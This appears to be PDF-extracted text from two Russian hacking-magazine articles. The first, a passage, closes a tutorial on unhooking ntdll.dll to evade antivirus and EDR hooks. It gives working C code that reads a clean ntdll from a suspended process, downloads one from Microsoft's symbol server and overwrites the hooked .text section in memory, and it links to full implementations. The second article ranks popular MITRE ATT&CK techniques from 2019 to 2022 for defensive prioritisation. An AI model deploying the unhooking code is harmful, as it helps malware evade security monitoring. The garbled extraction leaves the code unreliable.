всё до отдель ной фун кции, которой нуж но передать базовый адрес биб- 
лиоте ки, а она вер нет ее раз мер.

.text
.text

    SIZE_T GetNtdllSizeFromBaseAddress(IN PBYTE pNtdllModule) {

      PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pNtdllModule;
      if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)

        return NULL;

        PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pNtdllModule +
pImgDosHdr->e_lfanew);
      if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)

        return NULL;

    return pImgNtHdrs->OptionalHeader.SizeOfImage;
}

Ос тает ся все го ничего — про читать память про цес са, который мы запус тили
в при оста нов ленном сос тоянии. Опять же реали зуем отдель ную фун кцию,
которая вер нет адрес ntdll.dll.

     
  

BOOL ReadNtdllFromASuspendedProcess(IN LPCSTR lpProcessName, OUT
PVOID* ppNtdllBuf) {

             CHAR cWinPath[MAX_PATH / 2] = { 0 };
           CHAR cProcessPath[MAX_PATH] = { 0 };

        PVOID pNtdllModule = FetchLocalNtdllBaseAddress();
        PBYTE pNtdllBuffer = NULL;
       SIZE_T sNtdllSize = NULL,

         sNumberOfBytesRead = NULL;

       STARTUPINFOA                    Si = { 0 };
       PROCESS_INFORMATION            Pi = { 0 };

    RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
    RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

     Si.cb = sizeof(STARTUPINFO);

        if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {
        printf("[!] GetWindowsDirectoryA Failed With Error : %d \n",

GetLastError());
        goto _EndOfFunc;

   }

      
 

sprintf_s(cProcessPath, sizeof(cProcessPath), "%s\\System32\\%s",
cWinPath, lpProcessName);

    if (!CreateProcessA(
       NULL,
       cProcessPath,
       NULL,
       NULL,
       FALSE,
       DEBUG_PROCESS,
       NULL,
       NULL,
       &Si,

        &Pi)) {
        printf("[!] CreateProcessA Failed with Error : %d \n",

GetLastError());
        goto _EndOfFunc;

   }

     sNtdllSize = GetNtdllSizeFromBaseAddress((PBYTE)pNtdllModule);
    if (!sNtdllSize)

        goto _EndOfFunc;
      

 
pNtdllBuffer = (PBYTE)HeapAlloc(GetProcessHeap(),

HEAP_ZERO_MEMORY, sNtdllSize);
    if (!pNtdllBuffer)

        goto _EndOfFunc;

       
      

if (!ReadProcessMemory(Pi.hProcess, pNtdllModule, pNtdllBuffer,
sNtdllSize, &sNumberOfBytesRead) || sNumberOfBytesRead != sNtdllSize)
{

        printf("[!] ReadProcessMemory Failed with Error : %d \n",
GetLastError());

         printf("[i] Read %d of %d Bytes \n", sNumberOfBytesRead,
sNtdllSize);

        goto _EndOfFunc;
   }

     *ppNtdllBuf = pNtdllBuffer;

      
  

if (DebugActiveProcessStop(Pi.dwProcessId) && TerminateProcess(Pi
.hProcess, 0)) {
       // Дополнительно здесь можно дернуть TerminateProcess()
   }

_EndOfFunc:
    if (Pi.hProcess)
       CloseHandle(Pi.hProcess);
    if (Pi.hThread)
       CloseHandle(Pi.hThread);
      if (*ppNtdllBuf == NULL)

        return FALSE;
   else

        return TRUE;

}

Оф фсет в таком слу чае будет стан дар тный — 4096.

Про вер ка кор рек тнос ти чте ния

Как всег да, на GitHub можешь пос мотреть  и 
.

ис ходни ки моей реали зации ре- 
али зации TheD1rkMtr

Продолжение статьи →

https://github.com/MzHmO/articles/blob/main/unhooking/KnownDll.cpp
https://github.com/TheD1rkMtr/ntdlll-unhooking-collection/tree/main/Ntdll%20Unhooking/2%20-%20Unhooking%20NTDLL%20from%20KnownDlls
https://github.com/MzHmO/articles/blob/main/unhooking/SuspendedProc.cpp
https://github.com/TheD1rkMtr/ntdlll-unhooking-collection/tree/main/Ntdll%20Unhooking/3%20-%20Unhooking%20NTDLL%20from%20Suspended%20Process


ПОЗНАЕМ АНХУКИНГ NTDLL.DLL

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÑÍßÒÈÅ ÕÓÊÀ ×ÅÐÅÇ ÏÎÄÃÐÓÇÊÓ NTDLL.DLL Ñ ÓÄÀËÅÍÍÎÃÎ ÂÅÁ-
ÑÅÐÂÅÐÀ

Ду маю, это самый инте рес ный спо соб. Он осно ван на том, что есть прек- 
расный сайт , где при веде ны ссыл ки на ntdll.dll прак- 
тичес ки для любой вер сии Windows.

winbindex.m417z.com

Сайт с ntdll.dll

Нам оста ется лишь разоб рать ся, как генери руют ся ссыл ки. С ходу это го сде- 
лать не получи лось. Пред послед няя часть URL — не более чем непонят ный
набор сим волов.

...dll/283EB25D1ef000/ntdll... 

...dll/54219A10209000/ntdll... 

Вруч ную переб рав все ссыл ки с пер вой стра ницы (не на питоне же авто мати- 
зиро вать, в самом деле, мы ведь серь езные люди), заметил, что у двух ссы лок
есть пов торя ющиеся в кон це шесть сим волов.

...dll/2451EFDD1af000/ntdll... 

Пов торя ющиеся сим волы 1

...dll/4028FADC1af000/ntdll... 

Пов торя ющиеся сим волы 2

На учен ный горь ким опы том решения сте ганог рафичес кого чуда на CTF, мой
вос пален ный мозг понима ет, что это зацеп ка. Копиру ем эти сим волы
и начина ем искать. Обна ружи ваем инте рес ную кноп ку Show, которая поз- 
воля ет получить боль ше информа ции о фай ле. Наш  ниг де не встре- 

чает ся, но поп робу ем кон верти ровать из HEX в десятич ное зна чение. И фор- 
туна пос мотре ла в нашу сто рону! Это ока зал ся параметр .

1af000

virtualSize

Об наруже ние смыс ла вто рой час ти

Выч леня ем пер вую часть, так же кон верти руем ее в десятич ное зна чение
и узна ем, что это .timestamp

Об наруже ние смыс ла пер вой час ти

Ос тает ся лишь додумать ся, как получить эти дан ные. У ntdll.dll тоже обыч ный
PE, поэто му сто ит гля деть имен но в эту сто рону. Вре мен ную мет ку получит ся
извлечь из струк туры .IMAGE_FILE_HEADER

От куда брать timestamp

А раз мер получа ем из эле мен та  струк туры

.

SizeOfImage
IMAGE_OPTIONAL_HEADER

От куда брать раз мер

Есть еще , но это раз мер непос редс твен но кодовой час ти. Я

подоз реваю, что сек ции , поэто му она нам не под ходит. Нужен раз мер

все го обра за фай ла ntdll.dll.

SizeOfCode
.text

По это му оста ется лишь зап рашивать эту информа цию из сис темы, а затем
генери ровать URL опре делен ного вида.

hex
, hex

https://msdl.microsoft.com/download/symbols/ntdll.dll/`strconcat( (
IMAGE_FILE_HEADER TimeStamp) (IMAGE_OPTIONAL_HEADER SizeOfImage))
`/ntdll.dll 

Пос ле чего, исполь зуя WinHTTP, кача ем нуж ную биб лиоте ку и внед ряем
в свое адресное прос транс тво ее сек цию  вза мен хук нутой. Алго ритм
получе ния биб лиоте ки с сер вера тоже укла дыва ется в одну малень кую фун- 
кцию.

.text

#include <algorithm>
#include <string>
#define FIXED_URL   L"https://msdl.microsoft.com/download/symbols/
ntdll.dll/"

    BOOL ReadNtdllFromServer(OUT PVOID* ppNtdllBuf) {

    PBYTE      pNtdllModule             = (PBYTE)
FetchLocalNtdllBaseAddress();
    PVOID      pNtdllBuffer             = NULL;
         SIZE_T sNtdllSize               = NULL;
            WCHAR      szFullUrl [MAX_PATH] = { 0 };

   // Получаем параметры хукнутой ntdll.dll
      PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pNtdllModule;
      if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)

        return NULL;

        PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pNtdllModule +
pImgDosHdr->e_lfanew);
      if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)

        return NULL;

   // Качаем нехукнутую ntdll.dll
      

 
wsprintfW(szFullUrl, L"%s%0.8X%0.4X/ntdll.dll", FIXED_URL,

pImgNtHdrs->FileHeader.TimeDateStamp, pImgNtHdrs->OptionalHeader.
SizeOfImage);

      if (!GetPayloadFromUrl(szFullUrl, &pNtdllBuffer, &sNtdllSize))
        return FALSE;

     *ppNtdllBuf = pNtdllBuffer;

    return TRUE;
}

От дель но я вынес фун кцию , которая при нима ет URL

для ска чива ния , а воз вра щает ука затель на адрес в памяти, где

будет лежать либа раз мером .

GetPayloadFromUrl()
ntdll.dll

sNtdllSize

        
  

BOOL GetPayloadFromUrl(IN LPCWSTR szUrl, OUT PVOID* pNtdllBuffer, OUT
PSIZE_T sNtdllSize) {

    BOOL        bSTATE          = TRUE;
       HINTERNET hInternet       = NULL,

                   hInternetFile = NULL;
         DWORD       dwBytesRead = NULL;
    SIZE_T      sSize           = NULL;
    PBYTE       pBytes          = NULL,

                pTmpBytes       = NULL;

         hInternet = InternetOpenW(L"info", NULL, NULL, NULL, NULL);
       if (hInternet == NULL) {

        printf("[!] InternetOpenW Failed With Error : %d \n",
GetLastError());

           bSTATE = FALSE; goto _EndOfFunction;
   }

         
   

hInternetFile = InternetOpenUrlW(hInternet, szUrl, NULL, NULL,
INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID,
NULL);
       if (hInternetFile == NULL) {

        printf("[!] InternetOpenUrlW Failed With Error : %d \n",
GetLastError());

           bSTATE = FALSE; goto _EndOfFunction;
   }

      pTmpBytes = (PBYTE)LocalAlloc(LPTR, 1024);
       if (pTmpBytes == NULL) {

           bSTATE = FALSE; goto _EndOfFunction;
   }

     while (TRUE) {
    

 
       if (!InternetReadFile(hInternetFile, pTmpBytes, 1024, &
dwBytesRead)) {

            printf("[!] InternetReadFile Failed With Error : %d \n",
GetLastError());

               bSTATE = FALSE; goto _EndOfFunction;
       }

         sSize += dwBytesRead;

          if (pBytes == NULL)
              pBytes = (PBYTE)LocalAlloc(LPTR, dwBytesRead);

       else
     

 
           pBytes = (PBYTE)LocalReAlloc(pBytes, sSize, LMEM_MOVEABLE
| LMEM_ZEROINIT);

           if (pBytes == NULL) {
               bSTATE = FALSE; goto _EndOfFunction;

       }
             memcpy((PVOID)(pBytes + (sSize - dwBytesRead)), pTmpBytes,

dwBytesRead);

         memset(pTmpBytes, '\0', dwBytesRead);
           if (dwBytesRead < 1024) {

           break;
       }

   }

       *pNtdllBuffer = pBytes;
         *sNtdllSize = sSize;

_EndOfFunction:
    if (hInternet)
       InternetCloseHandle(hInternet);
    if (hInternetFile)
       InternetCloseHandle(hInternetFile);
    if (hInternet)

  
 

       InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED,
NULL, 0);
    if (pTmpBytes)
       LocalFree(pTmpBytes);
    return bSTATE;
}

Фун кция откры вает интернет-сес сию, пос ле чего чита ет кус ки раз- 
мером 1024 бай та до тех пор, пока не будет счи тано мень ше 1024 бай тов.
Если счи тано мень ше 1024 байт, зна чит, весь файл был успешно передан
и мож но зак рывать сес сию.

Нес мотря на то что нехук нутая ntdll.dll будет счи тывать ся с веб-сер вера,
оффсет сек ции  невоз можно знать заранее. Он то 1024, то 4096.

Поэто му исполь зуем код из раз дела с чте нием биб лиоте ки из дис ка — будем
опять про верять началь ные бай ты по оффсе ту 1024, если сов падут, то
копиру ем по это му адре су, если нет, то добав ляем 3072.

.text

    BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) {

        PVOID pLocalNtdll = (PVOID)FetchLocalNtdllBaseAddress();

        PIMAGE_DOS_HEADER pLocalDosHdr = (PIMAGE_DOS_HEADER)pLocalNtdll
;
        if (pLocalDosHdr && pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)

        return FALSE;

        
  

PIMAGE_NT_HEADERS pLocalNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)
pLocalNtdll + pLocalDosHdr->e_lfanew);
      if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)

        return FALSE;

          PVOID pLocalNtdllTxt = NULL,
         pRemoteNtdllTxt = NULL;

         SIZE_T sNtdllTxtSize = NULL;

      PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(
pLocalNtHdrs);

           
 
for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i

++) {

       // if( strcmp(pSectionHeader[i].Name, ".text") == 0 )
             if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.')

{

               pLocalNtdllTxt = (PVOID)((ULONG_PTR)pLocalNtdll +
pSectionHeader[i].VirtualAddress);

               pRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll +
1024);

             sNtdllTxtSize = pSectionHeader[i].Misc.VirtualSize;
           break;
       }
   }
        if (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)

        return FALSE;

       if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt) {
           pRemoteNtdllTxt = (PVOID)((char*)pRemoteNtdllTxt + 3072);

          if (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)
            return FALSE;

   }

      DWORD dwOldProtection = NULL;

      
  

if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize,
PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {

        printf("[!] VirtualProtect [1] Failed With Error : %d \n",
GetLastError());

        return FALSE;
   }

     memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);

      
  

if (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize,
dwOldProtection, &dwOldProtection)) {

        printf("[!] VirtualProtect [2] Failed With Error : %d \n",
GetLastError());

        return FALSE;
   }

    return TRUE;
}

Об рати вни мание, что на фун кции  прог рамма может

как бы завис нуть. Не пережи вай, она работа ет, кача ет нуж ную биб лиоте ку.

ReadNtdllFromServer()

Ус пешное ска чива ние биб лиоте ки

Этот спо соб, думаю, самый удоб ный. Его глав ный недос таток в том, что тре- 
бует ся дос туп в интернет со ском про мети рован ного хос та.

Пол ный код реали зации для тво их собс твен ных экспе римен тов я так же
прик ладываю:

 — под груз ка с winbindex.m417z.com;• NtdllFromWEbsite.cpp
 — под груз ка с ино го ресур са, ты дол жен будешь сам под- 

нять веб-сер вер.
• NTDLLReection

ÂÛÂÎÄÛ

Пом ни, что анху кинг — это не более чем один из мно жес тва спо собов обхо да
хуков. При чем умные анти виру сы уме ют вос ста нав ливать хуки, если обна- 
ружи вают, что кто-то их снял. На любое дей ствие най дет ся про тиво дей ствие,
но в дан ном слу чае это приг лашение к новому дей ствию!

https://winbindex.m417z.com/?file=ntdll.dll
https://github.com/MzHmO/articles/blob/main/unhooking/NtdllFromWEbSite.cpp
https://github.com/TheD1rkMtr/NTDLLReflection
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ВЗЛОМ

Тех ники кибера так совер шенс тву ются год
от года. Если ты инте ресу ешь ся информа- 
цион ной безопас ностью или тру дишь ся
в этой сфе ре, важ но быть в кур се, каким
арсе налом поль зуют ся сов ремен ные
кибер прес тупни ки. Сегод ня погово рим
о самых популяр ных в пос ледние годы тех- 
никах и средс твах хакеров.

Тех ника кибера так на компь ютер ные сис темы опре деля ет, как дей ству ют ата- 
кующие, и здесь всег да мож но при думать что-нибудь новень кое. В той же
мат рице  с 2019 года количес тво тех ник из 244 тран сфор- 
мирова лось в 196, но теперь они вклю чают 411 суб техник (по сос тоянию
на тре тий квар тал 2023 года). То есть общее чис ло тех ник фак тичес ки уве- 
личи лось вдвое. С дру гой сто роны, ранее про торен ные ата кующи ми дорож ки
ник то не отме нял. Их тоже активно исполь зуют, какие-то чаще, какие-то чуть
реже. Давай поп робу ем их отыс кать.

MITRE ATT&CK

Для начала покопа емся в ана лити чес ких отче тах, опе риру ющих TTP,
за пос ледние нес коль ко лет. В качес тве наибо лее авто ритет ных репор тов мы
будем исполь зовать матери алы от Red Canary, Trellix, Picus Labs и дру гих

 извес тных на рын ке ИБ ком паний, в том чис ле рос сий ских.
Нач нем с 2019 года, для которо го, прав да, дос тупен толь ко один свод ный
отчет — «Threat detection report. First edition | 2019» от Red Canary. Но с каж- 
дым годом авто ритет ных источни ков ста нови лось все боль ше, за 2022 год
име ется с десяток пуб личных репор тов.

Брай анов Креб сов

ÊÀÊ ÎÏÐÅÄÅËßËÑß ÐÅÉÒÈÍÃ

Пер вый момент, который пот ребу ется учесть: в боль шинс тве ана лити чес ких
отче тов уже исполь зуют ся агре гиро ван ные показа тели, которые нуж но кор- 
рек тно сопос тавлять меж ду собой. Мы под счи таем занима емые той или иной
тех никой позиции в име ющих ся рей тин гах. Если мес та заняты суб техни ками,
то в рас чете учтем ту тех нику, с которой она ассо цииро вана.

Нап ример, тех ника  за 2022 год
триж ды занима ла пер вое мес то, по одно му разу вто рое, третье и девятое
мес та. В ито ге она воз гла вила топ 2022 года.

T1059 Command and Scripting Interpreter

Ес ли тебе инте рес на тех ничес кая сто рона воп роса, пояс ню: мас сив вход- 
ных дан ных из раз личных отче тов фор мировал ся в руч ном режиме (соз давал- 
ся еди ный CSV-файл), а уже таб личные дан ные ана лизи рова лись с исполь- 
зовани ем  для Python.биб лиоте ки Pandas

ÄÈÍÀÌÈÊÀ Ñ 2019-ÃÎ ÏÎ 2022 ÃÎÄ ÂÊËÞ×ÈÒÅËÜÍÎ

2019 ãîä
На чать сто ит с того, что клю чевая проб лема здесь не толь ко в нич тожной
выбор ке из единс твен ного отче та, но и в изме нении MITRE ATT&CK за это
вре мя. Дело в том, что, как любой «живой» про ект, мат рица пос тоян но
обновля ется и с 2019 года сме нила не одну . В резуль тате мне приш- 
лось руками перема пить «ста рые» тех ники в «новые», а это в том чис ле пов- 
лияло на сок ращение рей тин га с десяти позиций до вось ми. Нам инте ресен
этот топ чик в пер вую оче редь как отправ ная точ ка для даль нейших иссле- 
дова ний. Итак, самые популяр ные тех ники 2019 года:

вер сию

1. T1059 Command and Scripting Interpreter;
2. T1218 System Binary Proxy Execution;
3. T1090 Proxy;
4. T0865 Spearphishing Attachment;
5. T1036 Masquerading;
6. T1003 OS Credential Dumping;
7. T1547 Boot or Logon Autostart Execution;
8. T1569 System Services.

На что здесь сто ит обра тить вни мание, так это на тех нику T0865 Spearphishing
Attachment, которая была популяр на у край не активных на тот момент 

, а так же в рам ках дру гих целевых кам паний, доля
которых, по мне нию ряда иссле дова телей, в 2019 году ста ла пре вали рующей.
В пос леду ющие годы эта тех ника так же будет при сутс тво вать на радарах,
но уже за пре дела ми агре гиро ван ных топ-10.

груп- 
пировок Carbanak и FIN7

2020 ãîä
На сле дующий год хит-парад нем ного изме нил ся:
1. T1055 Process Injection;
2. T1574 Hijack Execution Flow;
3. T1059 Command and Scripting Interpreter;
4. T1053 Scheduled Task/Job;
5. T1562 Impair Defenses;
6. T1134 Access Token Manipulation;
7. T1021 Remote Services;
8. T1003 OS Credential Dumping;
9. T1036 Masquerading;

10. T1083 File and Directory Discovery.

Здесь, как и в 2019 году, приш лось учесть вер сион ность мат рицы ATT&CK,
но в мень шем объ еме.

Это пер вый год пан демии корона виру са и, как следс твие, рос та популяр- 
ности уда лен ной работы. В резуль тате сре ди лидеров появи лась тех ника
T1021 Remote Services. Из осталь ных тех ник инте рес пред став ляет T1574
Hijack Execution Flow, которая чаще все го исполь зует ся в сочета нии c тех- 
никами T1055 Process Injection и T1053 Scheduled Task/Job, что и под твержда- 
ется нашим рей тин гом.

2021 ãîä
Рей тинг 2021 года выг лядит сле дующим обра зом:
1. T1059 Command and Scripting Interpreter;
2. T1027 Obfuscated Files or Information;
3. T1218 System Binary Proxy Execution;
4. T1055 Process Injection;
5. T1555 Credentials from Password Stores;
6. T1543 Create or Modify System Process;
7. T1083 File and Directory Discovery;
8. T1486 Data Encrypted for Impact;
9. T1053 Scheduled Task/Job;

10. T1547 Boot or Logon Autostart Execution.

Вор вавша яся в топ тех ника T1486 Data Encrypted for Impact отра жает то
рекор дное количес тво кибера так с исполь зовани ем прог рамм-шиф роваль- 
щиков, которое было зафик сирова но в 2021 году. Свою роль сыг рала
и популя риза ция схе мы «Шиф роваль щик как услу га» (Ransomware as
a Service, RaaS) на при мере сле дующих вре донос ных прог рамм:

;• Conti
;• REvil

.• Avaddon

Из инте рес ного здесь сле дует отме тить тех нику T1555 Credentials from
Password Stores, исполь зован ную в одной из самых нашумев ших кибера так
на цепоч ку пос тавок SolarWinds.

2022 ãîä
В 2022 году пред став лен рас ширен ный топ-20, пос коль ку это самый инте рес- 
ный для нас год и дан ных было дос таточ но для сос тавле ния раз верну того
рей тин га.
1. T1059 Command and Scripting Interpreter;
2. T1082 System Information Discovery;
3. T1036 Masquerading;
4. T1003 OS Credential Dumping;
5. T1071 Application Layer Protocol;
6. T1218 System Binary Proxy Execution;
7. T1083 File and Directory Discovery;
8. T1588 Obtain Capabilities;
9. T1047 Windows Management Instrumentation;

10. T1486 Data Encrypted for Impact;
11. T1190 Exploit Public-Facing Application;
12. T1566 Phishing;
13. T1055 Process Injection;
14. T1021 Remote Services;
15. T1098 Account Manipulation;
16. T1105 Ingress Tool Transfer;
17. T1110 Brute Force;
18. T1547 Boot or Logon Autostart Execution;
19. T1112 Modify Registry;
20. T1505 Server Software Component.

Здесь есть как уже зна комые нам «лица», так и нович ки. Нап ример, на вто ром
мес те тех ника T1082 System Information Discovery, которая поз воля ет ата- 
кующе му не толь ко гра мот но раз вить кибера таку, но и соб рать дан ные
на будущее, что не может не нас торажи вать.

От метим тех нику T1190 Exploit Public-Facing Application, заняв шую 11-е
мес то, но лидиру ющую на ста дии Initial Access в 2022-м.

Те перь мож но пос мотреть динами ку изме нений в топ-10 за четыре года
на условной теп ловой кар те, где более «горячие» тех ники — это соот ветс тву- 
ющие лидеры.

Кру говая диаг рамма для тех ник из топ-10, встре чающих ся два и более раз
за четыре года, име ет сле дующий вид (здесь «Дру гие» — это тех ники, встре- 
чающиеся толь ко один раз).

ÄÅÒÀËÜÍÅÅ Î ËÈÄÅÐÀÕ

Ра бота ющие с мат рицей ATT&CK спе циалис ты навер няка хотели бы уви деть
информа цию о суб техни ках, ведь имен но они опре деля ют и кон текст ата- 
куемой ИТ-инфраструк туры, и пред метные век торы ата ки. Для этой цели раз- 
берем три самые популяр ные тех ники за пос ледние годы.

T1059 Command and Scripting Interpreter
Эта тех ника сох раняла свою позицию в рей тин гах из года в год. И по количес- 
тву упо мина ний в репор тах раз личных иссле дова телей она идет с боль шим
отры вом. Но при этом тех ника содер жит восемь суб техник, из которых
наиболь шую популяр ность у ата кующих снис кали две: T1059.001 и T1059.003.

С уче том обще го трен да импорто заме щения допол нитель но при ведем
экспертный мап пинг с тех никами из оте чес твен ной 

, а точ нее, из при ложе ния 11 к ней:
Ме тоди ки оцен ки угроз

безопас ности информа ции
Т3.1. Авто мати чес кий запуск скрип тов и исполня емых фай лов в сис теме
с исполь зовани ем поль зователь ских или сис темных учет ных дан ных, в том
чис ле с исполь зовани ем методов соци аль ной инже нерии;

•

Т3.6. Авто мати чес кое соз дание вре донос ных скрип тов при помощи дос- 
тупно го инс тру мен тария от име ни поль зовате ля в сис теме с исполь- 
зовани ем его учет ных дан ных;

•

Т4.2. Исполь зование штат ных средств уда лен ного дос тупа и управле ния
опе раци онной сис темы.

•

T1059.001 Command and Scripting Interpreter: PowerShell
Под робно эта суб техни ка . Почему имен но
PowerShell?

опи сана на сай те mitre.org

Во-пер вых, сегод ня PowerShell — это кросс-плат формен ный инс тру мент
(да-да, работа ющий на опе раци онных сис темах Windows,  и ). Он
сос тоит из обо лоч ки коман дной стро ки, язы ка сце нари ев и сре ды управле ния
кон фигура цией (PowerShell Desired State Conguration). В ИТ-инфраструк- 
турах эту тех нологию уже исполь зуют не толь ко сис темные адми нис тра торы,
но и DevOps-инже неры, раз работ чики, а так же инже неры при интегра ции
раз личных сис тем меж ду собой. Как следс твие, при мене ние PowerShell поч ти
ни у кого не вызыва ет воп росов.

Linux macOS

Во-вто рых, ата кующе му фак тичес ки не нуж но заг ружать и уста нав ливать
допол нитель ное прог рам мное обес печение, пос коль ку PowerShell уже име- 
ется по умол чанию на кли ент ских и сер верных опе раци онных сис темах
семей ства Windows начиная с Windows 7 и Windows Server 2008 R2, что
помога ет сни зить веро ятность его обна руже ния на ран ней ста дии кибера- 
таки.

Ата кующий может, ска жем, зло упот реблять запус ком PowerShell-коман- 
дле тов (Cmdlet), при чем как в рам ках активных дей ствий (так тика Execution,
с которой эта тех ника ассо цииро вана), так и на дру гих эта пах — сбо ра дан ных
о сос тоянии опе раци онной сис темы (нап ример, Get-Process, Get-HotFix), заг- 
рузки дан ных из интерне та (нап ример, Invoke-WebRequest) и так далее.

Кро ме того, сущес тву ют нас тупатель ные инс тру мен ты на базе PowerShell
(нап ример, Empire, PowerSploit).

По этой теме написа но дос таточ но мно го матери- 
алов: , а еще  и 

.
в «Хакере» на Robwillis.info у

Microsoft

T1059.003 Command and Scripting Interpreter: Windows Command
Shell
Опи сание этой суб техни ки так же нет рудно най ти . С Windows
Command Shell (cmd), основной коман дной стро кой в Windows, ситу ация ана- 
логич на PowerShell — это мощ ный инс тру мент, дос тупный по умол чанию.
Коман дная стро ка может исполь зовать ся для управле ния прак тичес ки любым
аспектом опе раци онной сис темы с раз личны ми уров нями раз решений. Плюс
коман дную стро ку мож но вызывать уда лен но. Нап ример, с помощью под- 
готов ленных ата кующим пакет ных фай лов  или .

на сай те MITRE

.bat .cmd

T1218 System Binary Proxy Execution
Сре ди тех ник в интер пре тации ФСТЭК Рос сии эта тех ника бли же все го к сле- 
дующей: «Т3.16. Запуск вре донос ных прог рамм при помощи легитим ных,
под писан ных циф ровой под писью ути лит уста нов ки при ложе ний и средств
запус ка скрип тов (т. н. тех ника прок сирова ния запус ка), а так же через средс- 
тва запус ка кода эле мен тов управле ния ActiveX, ком понен тов филь тров
(кодеков) и ком понен тов биб лиотек DLL».

Тех ника содер жит 13 суб техник, из которых чаще все го встре чают ся
четыре: T1218.005, T1218.007, T1218.010 и T1218.011. Клю чевые раз личия —
в исполь зуемых ата кующим ути литах:

T1218.005 — ;• mshta.exe

T1218.007 — ;• msiexec.exe

T1218.010 — ;• Regsvr32.exe

T1218.011 — .• rundll32.exe

T1036 Masquerading
В номен кла туре ФСТЭК Рос сии эта тех ника бли же все го к сле дующей: «Т7.12.
Манипу ляции име нами и парамет рами запус ка про цес сов и при ложе ний
для обес печения скрыт ности».

Тех ника вклю чает семь суб техник, но мас совый харак тер носят сле- 
дующие: T1036.003, T1036.004 и T1036.005. Раз ница зак люча ется в объ ектах,
с которы ми ата кующий про изво дит манипу ляции, точ нее, в их наиме нова ниях:

T1036.003: закон ные сис темные ути литы, в том чис ле из пре дыду щей тех- 
ники T1218 System Binary Proxy Execution;

•

T1036.004: нелеги тим ные задачи и сер висы, мас киру ющиеся под легитим- 
ные;

•

T1036.005: име на вре донос ных фай лов или путей к ним, сов пада ющие
с легитим ными име нами или путями.

•

ÏÎÄÂÎÄß ÏÐÅÄÂÀÐÈÒÅËÜÍÛÅ ÈÒÎÃÈ

По лучен ные рей тин ги помогут выб рать наибо лее эффектив ные меры защиты
информа ции. При нимая во вни мание, что подоб ные отче ты пуб лику ются еже- 
год но (а некото рые даже чаще), на их осно ве мож но регуляр но акту али зиро- 
вать сос тав и нас трой ки средств защиты информа ции.

При выборе мер защиты информа ции име ет
смысл исполь зовать раз дел мат рицы 

 и , а так же парал лель- 
ный ATT&CK про ект .

Enterprise
Mitigations MITRE D3FEND

DeTT&CT

ÏÎÏÓËßÐÍÛÅ ÑÕÅÌÛ ÊÈÁÅÐÀÒÀÊ Â ÐÎÑÑÈÉÑÊÎÌ ÑÅÃÌÅÍÒÅ

Те перь, с уче том информа ции выше, поп робу ем соб рать пол ную цепоч ку
кибера таки. Для это го будем исполь зовать при меры популяр ных в 2022 году
схем кибера так в рос сий ском сег менте сети.

Ста дию Reconnaissance детали зиро вать не будем, пос коль ку она силь но
зависит от кон крет ной ата куемой сис темы, ее дос тупнос ти из сети и пуб- 
личнос ти.

Ста дию Initial Access раз ведем на две: экс плу ата ция уяз вимос тей Microsoft
 и экс плу ата ция уяз вимос ти Bitrix CVE-2022-27228. Они

и поведут нас по раз ным вет кам кибера так. При этом оба вари анта отно сят ся
к № 11 из пос ледне го спис ка: T1190 Exploit Public-Facing Application.

Exchange ProxyShell

Про ник нув в сеть через неп ропат ченный Microsoft Exchange, ата кующий
раз меща ет веб-шелл ( №  20 — T1505.003 Server Software Component: Web
Shell). В час ти Defense Evasion выпол няет ся оста нов ка, добав ление исклю- 
чений или очис тка жур налов ауди та событий Microsoft Defender (T1562.001
Impair Defenses: Disable or Modify Tool), а так же при меня ется msiexec (№ 6 —
T1218.007 System Binary Proxy Execution: msiexec). Выход на финиш ную пря- 
мую — Impact: выкачи вание дан ных с ском про мети рован ного Microsoft
Exchange, но чаще прос то шиф рование дис ков (№ 10 — T1486 Data Encrypted
for Impact).

Путь через неп ропат ченный Bitrix нем ного короче: раз мещение готово го
веб-шел ла ( №  20 — T1505.003 Server Software Component: Web Shell), а в
качес тве Impact — редирект или дефейс (T1491 Defacement).

Та ким обра зом, пазл пос тепен но скла дыва ется, и получен ная ста тис тика
не пол ностью, но в зна читель ной сте пени пок рыва ет рас смот ренные нами
при меры.

Бе зус ловно, нель зя счи тать сос тавле ние подоб ных рей тин гов «сереб- 
ряной пулей», но как дос тупный широко му кру гу спе циалис тов механизм
выбора и при ори тиза ции мер безопас ности он име ет пол ное пра во
на сущес тво вание.

mailto:tester-ak@yandex.ru
https://attack.mitre.org/techniques/enterprise/
https://attack.mitre.org/techniques/T1059/
https://pandas.pydata.org/
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https://xakep.ru/2019/05/13/fin7-still-active/
https://attack.mitre.org/software/S0575/
https://attack.mitre.org/software/S0496/
https://attack.mitre.org/software/S0640/
https://fstec.ru/component/attachments/download/2919
https://attack.mitre.org/techniques/T1059/001/
https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-linux?view=powershell-7.3
